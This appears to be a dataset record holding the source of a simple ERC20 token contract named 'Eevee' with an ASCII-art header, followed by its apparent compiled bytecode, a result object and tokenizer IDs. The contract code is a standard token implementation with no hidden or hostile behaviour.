pragma solidity ^0.5.0; //MMMMMMMMMMMMMMMKllONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMWkokdd0WWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMXocdxxoONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMOc:.'okdxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMNdc; .cxdo0WMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMKl:' ..:dolkNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMOcc. .'..;odcdXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMx::...'''.,ldloKWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMWd:c..'.'''.'cdolOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMWx:c..'..''.''cxol0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMOlc'.''..'''.':dol0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMKlc,.''..'''''.:dooKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMXoc:..'.''''''.'cdldNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMWklc'.'''''''''.'odckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMKoc;..''''''''..,oooKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMWxc:...'''''''...:xlxWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXKXNWMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMM0cc;...''''''....oooKWMMMMMMMWWWWMWWWWWNXNWMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNXXKKK00OOOkkxxxokNWWMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMNxcc' ..''.'.. :dlOWMMMMMWMKxOXWWWWWW0odKWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWMMWNX00OkxxkkkxxddoolcllodxddOXWMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMXocc. ...... 'oodNMW0OXWWOxOxOXNXWN000x0WWMMWMMMMMMMMMMMMMMMMMMMMMMMMMMWNK0Okxxdooolllcccc:,,'.....,cc:oKWWMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMKlcl' .... .loo0MNxdOkOod0Okxolxkdk0OxkXWXk0WMMMMMMMMMMMMMMMMMMMMWXOkxddooolcc:;,''........... .clclOWMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMXo:l;. :dlx0OddOOdldkxkxdxxloxxkkdodooo0WXXWMMMMMMMMMWWWWN0kkxdddlc;,'......''''.'''''...;llcxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMXd:lc. ,xllllooxxxxxxxkkkxkkkkkkkkxloOkdxxdKWMMMMMMWMWNOxdddoc;.. ..''''''''''..'''.';llldKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMWNkcll;. 'olcloxkxxxxxxkkkkkkkkkkkkkkkkkkxdxxo0WMMMMMWXkoodoc'. ...''''''''''''''.':llcd0WWMMMMMMMMMMMWKKWMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMWKoclc. ',;lodxkxxxxxxxkkkkkkkkkkkkkkkxxkxxxxddodKMWWXxoodl,. .....''''''''''.':olloOWWWMMMMMMMMMMMNOclKMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMNOlcl;.,codddxxxxxxxxxxxxxkkkkkkkkkkkxxxxdddddddllkkdoll:. ...'''''''''''.,:ooloONMMMMMMMMMMMMMMNk:;okXMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMXkoccclddddddddxxxxxxxxxxxxxxxxxxxxxxddddddddddlcodo:. .........'''..',coold0NMMMMMMMMMMMMMMWKddxk0xkWMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMWWWNOl:odddddddddxxxxxxxxxxddxxxxxdddddddddddddlodc;'.. ......':loloxKWMMMMMMMMMMWWMMWXOdkKKKXOdKMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMWMMMXdlddddddddddddddxdddddddddddddddddddddddddddl::c:. ..':llllokXWWMMMMMMMMMMMMWNXOkk0KKKKKKdkWMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMWkldxxddxdodddoodddddddddddddddddddddddddddddddddo;. ....',;:clollodkKNMMMMMMMMWMMMMWNKOkkO0KKKKKKKKkdXMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMXdlxdddoc;'':ollododddddddddddddddddddddddddddodxdl;,;;::ccllooooolllodkOXWWMWMMMMMMMWXKOkkkkkOKKKKKKKKKK0KOd0MMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMM0oodddl',kd..cdoodddddddddddddddddooodddddddddddddol:cloooddxxxxkO00KXWMMWWWWNXK0kxxxxxxxk0KKKK00K00KK0000K0dOMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMWWMkldddl. ;k: ;dddddddddddddddxdddolodl:codddddddddo:;xXXXNWWMMWMMMMMMWWX0Okxdolllloxk0000000KKK00O00KK000000dOMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMWdcddd; ;dodddddddddddddddddddl;;c,'cddddddddocoXMMMMMMMMMMMMW0kxolc:cllllodddddddddxkOOOkxddkKKK000K00xOMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMNdlddl. ;dddddddddddddddddddd:.,0Nc .lxdddddoccOWMMMMMMMMMNOlcc:ccllllllllllllllllloooolllcldOKKKK00KK0dOMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMNdlddl.. ..cddddddddddddddddddd:. 'ol. ;ddddool:dNMMMMMMMMW0l,;lllccclllllclllllccclllccccclllox0KKKKKKKOd0MMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMXdoxxo,.. ..,oddddddddddddddddddc. ;dddooocc0MMMMMMMMXd::cllllccllllllcccccccccclllllllllclx0KKKKKKKOdKMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMWWWMMMMWWW0ooddd:',,'.'cddddddddddddddddddo' ,ddoollcxNMMMMMMW0c;ccccccllllllllllllllllccllllllllllloxO0KKKK0KxdXMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMWWWWWWNK0xllddddoc;,,,cddddddddxdddxxddddxl. ...:doolc:c0MMMMMMM0c;ccccccllllllllllllllllllllllllllllllox0KK00000dxWMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMWMN0kkO0o;lodddddooooddddddddoooddddddddxl.... ...'odoolc;dNMMMMMMXl;ccccclllllllllllllllllllllllllllllllloOKKOO00KOo0MMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMWN0kO0XNNOccoododdodddddddddddc;:oxdddddddd;',,,...;oooloc:cd00XWMWWx;:ccllllllllcccclllllllllllllllllllllclxOOxooxO0ddNMMMMMMMMMMMMMM //MMMMMMMMMMMMWWMWXOkKNNNNNXOoclooodddddddoddxxddddxxdddddddddl:;;,;cooolol:okkkxdxON0:,::clllllllllllllllllllllllllllllllllcoddolllldolOMMMMMMMMMMMMMMM //MMMMMMMMMMMWMW0xloKNNNNNNNNXklcloooddddoooloollloodddooodxxddddoddoooooo:cO000KKOdxd,;:::ccllllllllllllllllllllllllllllllllllccccc:c:oXMMMMMMMMMMMMMMM //MMMMMMMMMMMMMWXkd0NNNNXNXXXXXKkollloodddddxxddooooollllodxdddddoooooooocck0O0O0K0K0l,;;;::cclllllllllllccccllllllccccccclcccccc::;:::kWMMMMMMMMMMMMMMM //MMMMMMMMMMMWWMKk0WNNNNXXXXXXXXXKOdc:coooddddddddxxxxdddddddoooolloololcok0000OO0000Oo,,;;;:cccccllllllcccccllllllcccccccccccc::;;;;;lXMMMMMMMMMMMMMMMM //MMMMMMMMMMMWWWkkNNWWNNXXXXXXXXXK0OOkxollllooooodddddooooooollllllollllxOOOOOO0000OOOOd:,,;;:::::ccccccccllllllllllllccccccc::;;;;;,:0MMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMXk0NNWNNNXXXXXXXXXKKXNNNX0kdlccllcclllolllllllcccc:loodkOOOOOOOOOOOOO00xc,,',:;;;;:::::cccccclllllcllcccccc:::;;;;;;;;xWMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMKkO0XNXNNNNXXNXXXXXXNXXNNNNXKOkxdooooooooooooooddddldO0OOOOOOOOOOOOOOO0kc,;,,;;;;;;;;:::::cccccccccc:::::::;;;;;;;;,;xNMMWMMMMMMMMMMMMMMM //MMMMMMMMMMMMM0dloKXXNXNNXXX00XNNNNNK0KXXXXXXKK0000OOOOOOOOOO000OkooOOOOOOOOOOOOOOO0OOdclc;,,;;;;;;;;::::::::::::::;;;;;;;;;;;;;,cOWMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMW0dddOKXXXNNNNOOXNNNNNXOOXXXXXXXXXXKK00OOOOOOOOOO00O0kdk000OOOOOOOOOO0OOOxccol:,,;;;;;;;;;;;;:::::::;;;;;;;;;;,;;,;oXMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMNNKocxKXXXNNKkXWNWWNWKKXXXXXXXXXXXXXXXXKKK0OOOOkO0OO0OkOOOOO000000000doo;;coloc;,;;:;;;;;;;;;;;;;;;;;;;;;;;;;;;;cOWMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMWkldk0KKXXk0NNNNNNWNXXNNXXNNXXXNNNNNXXXXXK0OOkxO0OOkooOOOOOOOOO000Oc;:::cooool;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;lONWMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMWWXkxkO0OdONNNXNXKXNNNNNNNNNNNNNNNNXXXXXX0O0klx0OOOolOOOOOO0OOOO0d:ccloooooool,,;;;;;;;;;:;;;;;;;;;;;;;;:o0NMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMWKOxxkdONNXXN0OKXNNNWNNNNNNNNNWNNNNNXXKO0OodO0OOolkOOOOOOOOOOd:cooooloooloo:,;:::;;;;;;;;;;;:;;,;:cdkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMWN0kldKXXKX0kKXXNXXXNNNXNNNNNNNNNNXX00OOddO00OllOO0OOOOO0ko:coloolooololll,;c:;;,;,,;;,,;:codxOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMWKdx000K0dkXXXXXXXNXXXNNNNNNNNNXK0O0kox0O0dlk0OOO0Okxocclolloloollloolo:dXKOOkkkxkkkO0KNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMWWXxdOO00dd0K0KXXXXXXXXXNNNNNXXK00OOxokOOxox0OkkddlcccollooooolloollolocxMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMNOoxO0kooOOO0K0KKK000XXXXXKK0000OdoxOo:codcclcloolllloooooooololoollckMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMWWMMWKxloOkdxOOOOOOO0OOO0KKK000OO0kddxxl;:;;::lolloollllooooooolllollllckMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMWWWMWWWd;cododOOO0OOO0OO000000OOOxoddlccllcclllolllolclolllollllllollolcOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:clc;,:ldO0O00000OO00kxddddlclllll:;lollllc::::looooooolllollocc0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo:lolclcclk00000kkOxo:,;:lclolloll::lc;;,,'.lOlcddddddddooooloclKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKlcooolooccxOxOx;:lclcc::lloollloc,,,'',,,''xWkclddddddddddooo:oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk:loolllol:ll:;,:lolooooolloolol;',,;,,,,,,xWWOooddddddddddddcxNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd:llolllll:;;,:llolollllllllloc',,,,;,,,,:kMMW0oddddxdddddddo0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0cloooooooooo::odooooooollllll,.,,,,,,,,dKNMWM0ooddddddddddldNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWxlddddddddddccddddxdddoddooo:.',,,,,,:ONWWWWWxldddddddddxoo0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0oodddddddddccdddddddddxdddo,',,,,,'lKWMMMWWOooxxdddxddxdo0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXdoxddddddddccddddddddddodd:',,;,,;xNWWWMMNOodddxdddddddlkWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWMMKdodddddxdxdccxddxddddddddl,;:::;c0WMMMWN0doddddddddddolxNMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWMNxoxxddddxdxocoxddddddddddo:clclldXWMMMM0olooloddodddddldNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxoxxxxxxxxxocoxxxxxxxdxddoo0NXXXNWMMMMMM0o:clcoddlldddldXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWxcclxxoxxxxclxkkkkkkkxxdolkWWMWWWMMMMMMMWNOdollll;;cllxXWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWN0dllc;cloo:cddxxkxdxxddcoNMMMMMMMMMMMMMMMMMWNXKK000KXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWMWWXKO00KX0xc:codlcoolloKWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWWWWWWWMMMWMWO:,;c:,,:lxKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // Eevee evolution token // //---------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract Eevee is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Eevee"; symbol = "EEVEE"; decimals = 9; _totalSupply = 133000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea165627a7a72305820218b649c10d239ff9ffe756b22a5416cfe441a77edb1b446a256d6805e3411bf0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 2581, 22022, 2050, 18139, 2683, 2549, 2063, 26976, 17134, 16576, 2497, 17134, 19961, 24434, 22407, 29097, 2509, 2063, 2683, 2475, 8586, 2278, 26224, 2546, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 100, 1013, 1013, 100, 1013, 1013, 100, 1013, 1013, 25391, 7382, 7382, 7382, 7382, 7382, 5302, 2278, 1024, 1012, 1005, 100, 1013, 1013, 25391, 7382, 7382, 7382, 7382, 7382, 4859, 2278, 1025, 1012, 100, 1013, 1013, 25391, 7382, 7382, 7382, 7382, 7382, 2243, 2140, 1024, 1005, 1012, 1012, 1024, 100, 1013, 1013, 25391, 7382, 7382, 7382, 7382, 7382, 10085, 2278, 1012, 1012, 1005, 1012, 1012, 1025, 100, 1013, 1013, 25391, 7382, 7382, 7382, 7382, 7382, 2595, 1024, 1024, 1012, 1012, 1012, 1005, 102 ]
